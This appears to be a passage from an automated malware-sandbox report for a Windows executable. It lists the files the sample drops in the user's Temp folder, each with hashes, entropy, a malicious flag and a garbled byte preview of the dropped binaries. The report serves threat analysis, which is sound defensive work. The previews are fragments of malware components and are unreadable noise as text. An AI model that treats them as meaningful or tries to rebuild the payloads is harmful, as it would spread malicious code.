...rfJ9<.C.X.g..5..V@E%.{S....^..d_~p.3kX..cE<^>.].E.K.......c..g1.<.0.....Lq.>U...m..V.....

C:\Users\user\AppData\Local\Temp\Massachusetts

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	136192
Entropy (8bit):	7.998465540176465
Encrypted:	true
SSDEEP:	3072:KoqcNY/5QXNTEODIZikpT17L4dPvsBMnkptG6aSR9y+3/:KonNY/5Qd+ZRp94lvJnQ9y+P
MD5:	B1200B786C5397EBB9DCBC176B229B0D
SHA1:	D9BFFC8766CBE6FAA64E7951DC4EB4052610225A
SHA-256:	ACA2E1C133B9DFA829CE1705FDE04035D3775FD07F31D35EA5169D3D20C70721
SHA-512:	AAB48DCEA508BC7433EDB7F00887F75664FA31B0C57332ECBB1007EE5D940150A4E20C6B96B655871F72180CD03D5470A2B2232042788F5AC0645C6DC62F9338
Malicious:	true
Preview:	.p......C7...._9....8..5M...h..T..F..(..cd.:.#K85)]$."...r....4.j...<9...~..)qi.>...e..............O...D.H..?.....DS.&..l.H.....J.N.."...&l&.H.X.D.\....NJ...LS..^.M.1...%".~.\|.Z.)T.t~...C.t.....H.....P...Rt..%.#..h....`B...................s..z.+...'...D.....m.............[..::...._....&..t....6..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....C.<.'.F...h.............T......{T......{kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..}.!..,P..Myn.2..t.W.....L..f.P...T......{T......{m.....:c..8.5...x..2).U.j....2>.$#.~....E.....$h...}......H..l.{F...3G......`w.r.3.mq...K.R.......m%_^W...H.... .(.....6.F.\|m#n...N:Ta.....<..)....... .^e.z...X b.^.....3g..+...4A...?.O.Q

C:\Users\user\AppData\Local\Temp\Older

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	56320
Entropy (8bit):	6.08004899796524
Encrypted:	false
SSDEEP:	1536:ax10IKQ8SoXTqgWVrZ+Int3SdFc9vtmgMbFuy+:211XwT5MAg0Fuy+
MD5:	228F8CE4E1CA3BAA49EB7560F7A5ADCE
SHA1:	F258D0EC853E88B6D1E1DD8C71A0D05E79108B6B
SHA-256:	76F5FC75B2933F461B0C51738DE828ED895114EE84F5B5C68857666D5CA38292
SHA-512:	0955A2D9FC5CBBCB180E1148F468D1674F72B0FA31A24D40E393F47C2DB11099799B104C3135FAC2A4191E5BEF844BA0543C57BE41FFE6AD0199E391D9417BA4
Malicious:	false
Preview:	....I....x..u..p.....I..E..8hL.P.....3.@..3.^..]...U..E....wf.$...H.h.....]h.....Vh.....Oh.....Hh.....Ah.....:h.....3h.....,h.....%h......h......h......h......j...h....j...,.I.P..P.I.]....I...H...H.h.H...H...H.%.H.h.H.,.H.h.H.3.H.:.H.A.H.H.H.O.H.V.H.].H.d.H.U......4.=.bL..SVWt..u..u............u..F...^.....L$.........D$..(.I..L$$..t.j...PS.. .I..}....}...L.u.j...P...wLS.. .I...H..D$ u.j...0.I.j..D$...(.I....wH..H.I..D$..GHPS..@.I..t$..D$0S....I..\|$...\|$0.D$(.F....D$.....t6j.j..D$8P..,.I.j...(.I.P..H.I....D$0VPS..8.I.V....I..&.\|$..t.j.j..D$8P..,.I.j.j..D$8PS..<.I..t$..\|$0.D$0.....t$...t.j.j.P..,.I.. .\|$..t.j.j...j.j.P..,.I..L$0.L$4.t$..D$4PS..@.I.j.X..u.9t$$t..D$0.D$4.u......j..\|$..6..\.I... ..u... .\|$......u.....\|$.j.j.j..6....I.3.j.Z.p............Q.Rc..YVP.D$$.E..0..l.I.W.D$4Pj..t$(S..4.I..\|$$.t:.t$..\|$0j......D$4.D$8..(.I.PS.. .I..t$..D$4Pj..t$(S..4.I..\|$..tE.t$..\|$0j.......H.I....D$0VPS..8.I.V....I.j.j..D$8P..,.I..D$0PS..0.I..t$...c..Y.t$(S....I..t$.....I..t$ S.. .I..t$,S..@.I.3

C:\Users\user\AppData\Local\Temp\Opposition

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	7.964090703920312
Encrypted:	false
SSDEEP:	192:PcoYHWsVLQG7U4/UnUhJgrQ9LVSfqqz1bzynlqjlcUEKGGlxiOGKodXxoziwyj:kp8G7UGUUhJtk1UlaOhKGGLiO2myj
MD5:	BB2CCCF73F02DB4F7A646E95DD858E93
SHA1:	66928DAF33419D80C7F29458233081405D095BDF
SHA-256:	0C4926AF83E5AB5B09A1FC44D40FF31C5DC3D25F0B94787304EEBAF878E5A923
SHA-512:	C5885043045699CDAADBE271D8C96EAD31609D03102EA6FF312BFFF74980B5DF93ADE67BDE37BE648FE2FCBC50CC2788FC88616882B8AE6D763E1C41E486AF31
Malicious:	false
Preview:	..02....Q~G.O..._!....6..)..........(R...5k>.....P#.j...A),.._.?V....7....T...-..jYQc...LAw.Z.1......E......@..9.Hz.\|......KTQ.J...........%...s..J..5`.....R;.A..zg.......e2Q..4...R.....&.a.0M..&....8...@)..@.....y....@..v..e..n..........n: .T................;...~...../.t:M.......7..w.}..r..!....\|..P..V...Q..~]./X..{....q..!...x..`.f .bX.a....jP.6!.L:...%..#.3..@...X..#.u..C.h.+..E.e2...D.MJ .].(..^{@..?^..$..0..1..............\|.i..{JA&.yr..@....{..'NR....i ......A.X..&O...L.6....4...j...w#.;.....86o.%K...C.u+FFFZ2....r 6c.zBZ.T......">...#..{..~.._...........w.n....O\|b.e..v.i.#Oi.4....R+...m..b........h."....&..d.<.b)X..L+...-(5x7...a.tRED..cD.?/...F.f+...:.4.!.I..<].~.R.....=<.:..x.....K.p.A....M.U......9HU.@.....E./ D.\|W..V.L.............,J..1eVIN ."..D0.3.E.. ..o.5`.LX...@..L..P.3.`<.D.\|.S.a.R.u;./^...Al...1.s...h~?...N..L&q.W.{.7~.S.j.2I.5.@K.hA.u..s.ZO<..l..u..!.N.P(...v.............x..4.O".=...E.0.aP+.*........

C:\Users\user\AppData\Local\Temp\Outreach

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	hp200 (68010) BSD
Category:	dropped
Size (bytes):	188416
Entropy (8bit):	7.999219839853688
Encrypted:	true
SSDEEP:	3072:g028DNSTkTBZVGRugMV1rcwg7wox7jLC77bM5pI5Xzctz2u4p82qSiyoWwa:bRDNmk8Ru/tcZFLC454Xo2FpnuWb
MD5:	275F1D93F40D7E0818D72D7049F32391
SHA1:	2A64B4E637587453B3871A566BFBAE228DCE3655
SHA-256:	D6754CE1CE925A6401BDA0901DDF7C13557771572C9388B41ED550AE9DD71970
SHA-512:	3EF0F7568F5D17E072C3E53D1EC3DD18F9E833BF861B9B34884A94CD51F50A4C72BCE7B7742EF0415A351BDE0DEF87CBDB5E2C0B036AF48B77F7E0318F18FF7B
Malicious:	true
Preview:	..EN.0g.P,..^.#7..m..+..x~....g"5...4...V.....9.e.t$.$.T......m..J.....7..aKw...`.tW0.U.~....a.......a.m...rs.x...{...~..GX..9..E/\d..Jw(hW....>%Q.p..Q-=.1\|....%F... .i/BeK.l[#.....G......u%.k..x.C.q+ZP.....@x.f.J. &...zU.....I%.M...3..#...i.....;.,...4...%..:8....[.-V]}_.BO..,Z..7..<c#x@.Y.....&h.....E...&.....uq.o....D.Zr..I?5..l..r.RV.....`....m..md.@d.....(v.h.DiN.FR.K.>.Yq......Q.[.I.....{....s@..D....W.....XJ.U......Lj2'#....;.(.(i.bQ[......u..~f..U)......E5.k..lh;...z....../<").BH.....@..-...f....M..b...\\..>.A_...>......R.=..j..Q!..U.e......P...'.H..OQfi...........X.m...\|P..C..Vx..F..+.._.h.Ix...dXy...l~.U.A....X2..v....P.W.^=u=.z.....d.J.l+..i.^......._/...5...0.......0\|...N1j/..nV.fN.Q(..r0.2..q...o.....n-.\r.%...3{.....Y....y.W..X....na....$...q/b...*C..Tv.0..`.MI.M...}.......{...}........@.....~Z..&.._.;...t....y.../....zo..#RnI...L..>.gK..QiN...-xm...M(..Z.@e.rb..U6.^B..._.L.c..-(.../..3.,...#.y%W.w..?.`...

C:\Users\user\AppData\Local\Temp\Participants

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	228
Entropy (8bit):	4.912778886893481
Encrypted:	false
SSDEEP:	3:ZWdYZKeB5GMK3WUqt/vllpfrYZcFTS9gXeF+X32ZpAo3P8GmbgElKmE/p3PeUwyd:PZKNtqjvVg3F+X32l/8xb99E/p/LrJv
MD5:	31050816B2F450A717786D075367899E
SHA1:	A7ADE2BF93708934B9E276FCE3AA2323A25E007D
SHA-256:	4A6FCC7E68D22A69DB4735D3900F3EA63F767D67218610AFD43EA8F1AF9B4FB5
SHA-512:	D588927F8FDCC0E7468A5A2839537CB3A4F2FF7D942C63EB8B20E53CCDF9DBA63A394BC75E67F0395B5525382CB33EB81BCB55995B29B9D7E357361900C332B6
Malicious:	false
Preview:	MaskBathroomsCompoundInjection..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[.*.[j..

C:\Users\user\AppData\Local\Temp\Portraits

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	7.92684458026462
Encrypted:	false
SSDEEP:	192:FZPay3BVTVNcawaUaAl5+EDaPc+sJPgJSZsQ8+mmPBjDgYlRLe0m:PyyxVxCawaUai0EDaPcpVOSZsQ8yhFnM
MD5:	A88120E86BA6642F82BA2854752F752B
SHA1:	3344518B5CD114855C28807EDA8DF0BD7BCB3293
SHA-256:	403446E9ADF7A1B92B7B067933DA55A2E16A866BB317C5CF1884A7F2B3D3FEF1
SHA-512:	7CFBDF196A6633214AD352135EAEBC9146B92A75D73EBA9C7D5C8DDB88EF468BDEB898B2FB47C34BE3FA771C0DA7CDB4CFBCD97CEF5B16BE1975319C09B54EDE
Malicious:	false
Preview:	..5..O$T..Th..1..#..#....#x.099.?..o\|.S.._..../.;..i:..B{R.%.X..r.m..-....C$.i..[<.I9f&.LB.z/C..1.U....P.3Q....)Mq._.;/.0f...1.Z....@...@..x..D...o..ox.........?..a..A....5..N.`....[b6.....~.g....W....KQ.T...P,.O...j.~...)..RI.,..E..y.r9d2.d.Y..y..E..O........w...G".D.Q$.I$..$.I.%..0..(B....@C...N...r.Y..}j...@@.e..D.L&..F.e..<..C.....u.].....V&._.....~g..F.[.........;.\|w.PX..~t......T&.l....I.o'..d..'..P( ..".Nc\|\|.###......(..Q^.T*.4..c..`P.K....:...Z..j..P........5...E..?..........R).b1.\W...I...k......@tb.....\|.L..>. .............V&.......~'.0..o...X..z.Ms...........f......Zqt........%......0..Aww7........p..=r.(j..J...fM.@...a.......&....`P..4....?.....K...r..B........m.H&..?.>......tww#.J...,..8.....A.L...d&a<.G2..a........7>z.=...\.h..\|]..k..-../..i\_..v.M..z..?....R.`rrrF._<...t...V..P(.a.p..a.8p..........Eww7..(......&s9...=A.]n...A.>P....4@...AA..SJA...p.p..c.`....8p..m8N.v...v`.5....z..z.v..0.....!..1.5..15.......<"...-Z....b.9...A2.T..v...

C:\Users\user\AppData\Local\Temp\Quebec

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	6.598039640950927
Encrypted:	false
SSDEEP:	384:kZM0/1zbE1PJcF8ufnpZ9aBXYrxzDZJgs/ZN/EyFpdflwxFwfydtR:IR7F8ufnz4kVDZxj/JiFwfGb
MD5:	A8E1EEDC8535B6279C38AFCACF58FD7E
SHA1:	05FB410C23AD68942B2F4FB8E667E8DA076FAB5D
SHA-256:	DDF7E69C7CEC0A248D18BE08965A74F2F05755541258AEFA3DCA0CEA68186794
SHA-512:	5C3BBF661A14C9B40D5A292CC8CD09F1AE860272BA33C26241043BE0C52E27D7F86A5DAD097FDC7DD15FC1A71C394B392293F7BB53F8724223F0182C45F12D66
Malicious:	false
Preview:	P.q..............YYj.X.......E..~......K.t.....t..8.u.P....3...YY.E.....t..G...t..8.u.P...Y.E.......H.E.u.V.{...Y_^[].U..U.........SV...W.......Jx..t...............t........J\|..t...............t.......j..J.[.y...K.t..9..t........y..t..y...t..........Ku...............1N_^[..].j.h.K..t....e.............K..Npt".~l.t.......pl..u.j .....Y.......j..@...Y.e...54.K..FlP.!...YY...u..E...........u.j..w...Y.U..W.}...t;.E...t4V.0;.t(W.8.....Y..t.V.....>.Yu...8.K.t.V.F...Y..^..3._].=TbL..u.j..M...Y..TbL.....3..U..E.-....t&...t....t.Ht.3.].0?I.].,?I.].(?I.].$?I.].U.....M.j......%$BL...E....u...$BL.........I..,...u...$BL.........I......u..E...$BL......@..}..t..M..ap...].U..S.].VWh....3..s.WV....{.3..{................{.......K.+...7..FIu..............9..AJu._^[].U... ....P.K.3.E.SV.u.......WP.v.....I.3.....................@;.r................ ....Q......;.s....... @;.v.......u.S.v.......PW......Pj.S.J...S.v.......WPW......PW......S.8^....@......S.v.WPW......Ph..........

C:\Users\user\AppData\Local\Temp\Race

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	48128
Entropy (8bit):	6.480046224305634
Encrypted:	false
SSDEEP:	768:jDuaIYXBQsBoDCHT5xv8xV9J7J6Ax6zNGB0toYyncyH9JRpHbDYA22HbbjNbkBYG:jDuaiC7v8xV96AE11yHxpfYAz7FbkdHd
MD5:	9EEDB42201838CBA7570A89AD64AD7F2
SHA1:	EA79B5DFA8BDCC2AC78BB21AC2755C21106F7299
SHA-256:	1D0B6945F207DBF0A5F014AB15A124061F4BACF2C7198A52BE22549B24DF7A7E
SHA-512:	AF2EF67C4EA4425F5BC1947BF26042E5F62AE05A5478BAFDC2C641F909D8D686D86D646F9FD46053DE555F346A6EA83F94FF26D2D662CBC30093D1A44651DA8B
Malicious:	false
Preview:	..`..3.@j..F.P.&....H....7........L$...{..r7.q...j).Qd....u'...#c....N.t$.y..u....`..j..F.....j..C..L$..d$...p..$a...\|$..t!.L$...b...L$..p..h`...D$......t$..C..P....x..u.....3..t$..D$.j..u.RP..x..j.P...H....}....L$...`.._^3.[..]...U..E..@....x..u....x..t.V.u....._...&..F.....^3.]...U........E.SVW.@...3.\$..0...0_...N..D$.P.T$..Q..Y..u'.u...._...F.........Sj..H........+...8\$........t$.Sj.....I..].............<.I....ujh..K..L$..J..Q.L$.......t..t$.j.j.....I....1..j.j..H....(.....j.j..H....W.......^...#..C......L$......0j.P...H..........j.j..H...........^...#..C.......t^j.V....I...u5P..<.I.P...H.........j.j..H...........w^...#..C.....V..X.I....u....Z^...F......._^3.[..]...U..Q.E.SVW.@...3.]..0...]...N..E.P.U...P...u.Y...u...^..3...@S.F.P...H....M.......]..8].t..E..F......E...y...H.K......F......._^3.[..]...U......<S.].V.u.W....F..D$..]...#.3.D$.A.K.3.;.v..F..H..._....D$...tY.N....._.....tJ.F..0....\...F..x..t5.E..@..0...\...N..D$.P.T$..!O...\|$..Yu.j.......D$......

C:\Users\user\AppData\Local\Temp\Radius

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	187392
Entropy (8bit):	7.999025054333345
Encrypted:	true
SSDEEP:	3072:h92h2zNappqK8+FIDVYpHHq9nXDy+VOSnogS8zJVUXSWerWyJyorLRh6Q:h942spq+cYazy+tnogjzJgS3rWyJLvj
MD5:	1D5D54B6E631BFE5326A58FD4F4E51A5
SHA1:	7290D85223FE25CF1E97CD476C6DC912DC85A31D
SHA-256:	1539BC762107D3365CC8B89200F744FE6128180DF90624697C5A01351C66EEDE
SHA-512:	3B92863996C50F2734CB87799A0CAD333DBD42D847DE744C1A743BCA7300CCF71958558BD437B4C43599965D76E0DA38298339E7D4A4C1F9B80B64ACDE206F19
Malicious:	true
Preview:	..b.x.1.yD.;.u@.?...#....%..f.ru.3..c3#>..oY.J+..`6...;...L.Q.. ..>.n.x..r..?T...D.j.~..vpN..nN...w%....9u...h."........\|nz.....V.l..[.G@.D...$.=.<~..t...e.f.h.D.w.....81.....R.sJ{)..c.N.C..1h....`.f,.12.w..$=.z_..M..u...N..{...7.~Y.0.....".l(....K..\|=..Q.G.b.:.......F..+.p......s.:.."P....`).P.g.c...P.7.....%.^$\.otlH..>....G/.N..\|\|....l.G,......b...,s...].P....D.....^...dJhz..{.;!u.v..b.D......!.......w]..@......\|.D....]".A#..@.U......9{...:x..7KgF..k...........y.=...[R.%DG.1~Y.".....j..f.d.........\|]H..0.j.?e....EQ.......\.o[.[.R...._.R)d.7..N...G....k.'.(Sf.!.9.C.K}.b../....Nx.Q/..p2...{.&..n....5.-g......>s.-.A.!g.....c...(..<....A.L{..c.n...[.....v...R.<..."..iC4=F.0`E9.b......0..~..........u.._..dhS...O.....k.\...pGw..J.........t.(.(.#.Z_..".R(>..\|....y.+..L...A<....L..)A0....c.....T....n.........Q.vI.....DA.B.8vi.E.._..M.I.\|......\V<5.5...J..n.....U2.9....=..o'..W$.v.M......}.F\|.b...Jg.....4'..}.E;..H.[."^a...o.&R4G.D.

C:\Users\user\AppData\Local\Temp\Referring

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	4.693802997481543
Encrypted:	false
SSDEEP:	384:ir9LE/MpfhwHLWAkqLyH3Per2Wfn2HuboETcKiKjxqb:QbAGWrT+UTcL4qb
MD5:	7E90051279FD9FEFB47BD91AD73B84A2
SHA1:	708B9CBFF00F11E44EA48F1DDEAC3903B767F135
SHA-256:	345CFF1F961BC66E4A5B41224D87DA5D0473DAAE9BDF2C39152D31642D324E59
SHA-512:	8AF18A8F270CD2A144539F289E5FE856838D1E2909B589210132A7CD7D99BE8A9CC3313FF62A832E12AFD8B633D572B5AB79C4D867B88E53E95762CA2BFA5412
Malicious:	false
Preview:	OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO

C:\Users\user\AppData\Local\Temp\Richmond

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	48128
Entropy (8bit):	6.485680327229379
Encrypted:	false
SSDEEP:	768:J3jsJhQlEF2VVay1N5J3SoO6Qku2ox3hOk3Hsu1izubGntN6IZOjAV0SMgO:JgjQWq8GV3jOTJh1Xl2ub2tBOjAeKO
MD5:	007AD2509FC5EB8C45ABB18FD9453D9A
SHA1:	134A3E886D13919AA4F1640B64E8F4ABBC7517C4
SHA-256:	C04D04B33A1D01623232179BF43B500248EC82037896D7D5F59BC12343F36C53
SHA-512:	13E41B42AD71372BE7EBF6E8E038873D8373F3CF88EB9DE2CA2A060DA4660A947A36AAC52FA191166645DF915AC3724D5FD77F1BA9C637C811896A440922E0EA
Malicious:	false
Preview:	w..R.+.r...........S.._@..S..R...P.....S..RichR..........................PE..L...y..U.........."..............................@.................................w.....@...@.......@.....................L...\|....................8..0....0...q...;..............................@X..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...............................@..@.reloc...q...0...r..................@..B.........................................................................................................................................................................................................................................................................................................DQL......h..C.....Y...L..h.C..{...Y..N..h.C..j...Y.h.C..^...Y..<C..h.C..M...Y.....h.C..<...Y.Q.>...h.C.....Y..cL.Q.@...cL.P.9...h.C......Y..G..h..C......Y...(

C:\Users\user\AppData\Local\Temp\Seek

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	6.260801045174954
Encrypted:	false
SSDEEP:	384:IjnsRfctrJsnb2Kev0hLk1G+CAiwo8Z8T5RZWfkBTjeVmr5D5naEM66z/rIYlUwF:IjnsRf4rJsb25v0hL4G+CAiwo8Z8T5RC
MD5:	0913A5290E2124D926F0BB85963A39A1
SHA1:	7A21A7E07C48BC1540B477C93C295576BD1D06E5
SHA-256:	CAF36EB19FE881753A0487540673B4B2DF3E528893CC5B3CE5843856B4A8BD8D
SHA-512:	95407ECAFB3E5462CC14F4AB5CC4F9A233116A7B3A9BB31AB06BF882D3B22666EDBFD47333AA747A71FD96DF771BD7F9BE5A6AF069AF508BF2079DF7F3CED79B
Malicious:	false
Preview:	M.u.}.....cJ.....cJ....u.u..}.u[.U..E......O..s.3...i.u....3..m.E...{.....}....M.u.u..E.........]....E......M..E......}..E........\|r.E.;F\|...B.........U.E...t...%....=....u .E.............%............E..R.U..kf..........\|...E.@.E.;.~..U..E..M.;}....u.......D...E..E.;}.\|........E..E.....;F\|sf.U.....}...t/..%....=....u!..G.......%..........E...........R.U...e.......tB.E..M.}.G.}...H.E.;}.\|..%.......t.;.....v..Fh..................}..M....sw...E...@..P.u.V.u..u..}t..........u......;E....{...}..t.f.......f#......f;.u.....E...@..P.u.V.u..u...t.......t..u...F\|.M.+..........B..f......M.f9C....z.......v....C.......%......................w......M.E...%....=....u#.E.............%............E...M..S.U..].;....s...............00K......%....y.H..@.....M0eJ....$?J...9E....y....v....K......f;.w..F<.....E.............f;.w..F<.....E.;....y.........E...u....C.....U...E.M......E.....3..E...C..E..(t...5t.3.........U.....c......E.......3..E......U.....E......M..=...............+....

C:\Users\user\AppData\Local\Temp\Severe

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	108544
Entropy (8bit):	7.99824795156944
Encrypted:	true
SSDEEP:	3072:gN/TuiNFWyzCqyo6dskgKiHp229uwVpTY+x:aLulsqs3b2y
MD5:	496BC58AB55492C6FF50B4B5FB12226D
SHA1:	C122773FD32BA5000B4637D21C92AEACA4DD982B
SHA-256:	3795AE53D60FD640A16642A2585F12783D84E963DE9C1A605286977511381A5A
SHA-512:	6B805EB934B84B43833B94075D350C9214333FA11A7E16A5196AC19BB9E85A445DCBB4E8FC5FA7A3500C53048F3CBB1BC80AA43295FB678952FDFC439C3F290D
Malicious:	true
Preview:	v..<6!yr..k.t.,^\&h..'..@.....6{p.n..%....9T.5..-........~.R.,9..$...V.pw....^J/(60..N#...aKiT.\|.g..M..+.}1..z.......i....C..y...M.y..U.kS..("_..gO.8."...d.....>M..~..,2.......,...P.......2...T..,b.P.._.~=f._`....S...p.z....?KN.`v.A...7...W/..D.....l}R.`..C@....b..)N.,3....eET..I..).Uj..?....P..>;U.V.....ir.-.]K..^..Y....(#.s...V...(.....~..8.?.e.X~...p..+.......z=.lM......)...+.;y...Z.1.2y..0.xi...\|~2g$"B...0<QN..69.^.....3.._q.y.3..eN...0y.....#Z...Y#C...&...K.1.\..J.^.I.40c.......$x..:ka..%........j.27Xf:.r./.........hdl/....z=...)"....1..p3.!.....z.........ez....6.Y>...d...n+...r.u..Gx.{..!p2.pX.[.z.....rcA."2C....B.."..!..Z.y.........e4..7)z.Y...u.kG..t..#f....2..........E.]S.....@....E....9M....T.q..=...v4.<.....R...b..\.M[...........T..X.Jvk.....D......?.\|.BT7.......\V...(...Z.~;.....$......~.\|.A....?&Y/GM).3...R.a....Z.W..9j4X+f.).g{..D.Et*r!.yGT...-.x^.....a...S.C....K6?.D.}8.>i..$.....H.l.a...).rl.j.A.@..H.d.:..3.M.M9..=

C:\Users\user\AppData\Local\Temp\Sig

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	144384
Entropy (8bit):	7.998488536802585
Encrypted:	true
SSDEEP:	3072:Dgr6MsiRjR0gvthbbwTy3PTdwYH8RulVxhDCWlXr:DgrBjSerb0OrdwPS4Wp
MD5:	F2672513A6295F6009C6A701631E5248
SHA1:	9D1FFAB9FFD4C4B112DA0AB9A9FF9B9AF195F6BF
SHA-256:	289DEC0B62B622A5478869DFA7743313B5F954C529A5279D73786E3BC9EFEFD8
SHA-512:	5086E6CD3E52C1F478083B405616316529280AD683EEBBFE4DCC461F6C990A6E33A2F409F036224906A628BD24B05FE25FD52A574D86C1BC116780494C3EAF60
Malicious:	true
Preview:	...&...,@gD\|.......#v.....T.}.W"......k1......1.x^ .........C7?..R.k..O.^S.Xe.d....:2..!..H...p....=u..C.q..[..wO46.OqXR...}...x.T.t[.0..O..]!H...........8.<.W<..i....$..(.i..Ce..GT...$..K.bc..mF._....j......g..$.z.........[M...a.o..............L.+.1...-Q9.td.]._.............0...._.....9...'.../}...4.%.!..w.mxdyO.x^\...O.?l.L....z{.=t.%.[..%..Q....XR.7@.+...u.U....f:T..lX...d....O.O.K1....<.4.T.@(7.RDf..V.)B..c..p..O.L...7..(..S..M9..f/..w ....+.s......P..>...C{4..........Mk.....8G.......9j.f.Z..Om$j.j'(.UB.(..-\....,R7...kxc6]E.9....O:!..{..~C,w.@...D.\\|2.=...N......kk.R.q.....?~=.<...6...........]...?$.^.P...,...R.D.i..x?......gI..i.,..e.m.dl...............+..he:..I._0..H<Zr./q..ur..].p....i..l...%...7...(]..\>..=Z..rw..<.U..R.^.nv.Z.......Oq.#F...-./..;T.^........c.. .Wn6....D...U. .'z9.q,.., ..F.'7... .p..o#2...d$_...p..%.W]. 6]...).$7.c..g[...4PP...._.D.....4Q...FF...\|.3...%.....>..:.....0E.e...+..=...;..7g...mT..f.....S.L....}.._.X

C:\Users\user\AppData\Local\Temp\Sn

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	4.255745457841842
Encrypted:	false
SSDEEP:	48:D1YIEqAniRRGVpIsssssCssssssssnsssssssssssssssssssssssssssssssss7:p1/AniRRUp1HwJNGMh5iCfXfJ4LLF
MD5:	565C34A01AB8904E85EF374CC03651A4
SHA1:	0DD3C73AABE9B950C356921221DCA747EB8B9011
SHA-256:	936926C20932948640765731B8D130F0230249CD30FB30447734D61F621A2704
SHA-512:	491B3C3B12C1B01764EB3C97CAC23A1E2FE8FBFA3F46E32606D102530E6BBCCDDB49F66CCE1C359B4C69EA256722C4EB8FF9B77513CADFCFEA23319C580783D3
Malicious:	false
Preview:	....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................m.m.m.m.m.m.m.m.m.m.m.m.2.2.2.2.2.2.2.2.2.2.2.2.2.2.

C:\Users\user\AppData\Local\Temp\Stockings

Download File

Process:	C:\Users\user\Desktop\5daucomrx8.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.998207860514862
Encrypted:	true
SSDEEP:	3072:y9AKfAie9jD0Y0TQlRP+hbTJGc56J63fbqC:GAK4ied0TOVabTJXVL
MD5:	6675D3E1DA6AA19BB5135860F0EA0D37
SHA1:	D3C81ABFC7C14E7A73F31DAA3078FD31394E2859
SHA-256:	A9A5D51B384D8C3F746A8881A46C285D2EFD7291386C794AE9B7640D4BCFD500
SHA-512:	C6DB87D1D635FCB6FBC76AF431121A7958CBF0CECFC4EFA3C3D6BB4DF41F3D2BCF36D378929162D3EF6900BC68AD578511D615A07C6BF3B86E1A7B3AC55E953E
Malicious:	true
